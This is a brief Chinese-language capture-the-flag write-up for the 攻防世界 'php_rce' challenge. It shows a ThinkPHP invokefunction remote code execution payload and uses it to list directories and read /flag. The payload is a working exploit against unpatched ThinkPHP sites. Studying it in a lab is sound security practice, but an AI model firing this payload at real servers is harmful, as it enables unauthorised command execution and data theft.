攻防世界

php_rce

远程执行的代码格式

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=xxxxx（命令）

于是先用

`?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

来查看目录

发现没有flag的文件，那么再用

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls ../

打开上一级目录，

还是不行，那么再往上翻。翻到最上层文件，也就是根目录，终于发现了flag

用

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

打开flag文件，得到flag

其实直接用最后一个代码也可以直接找到flag值，但是还是按照套路来比较好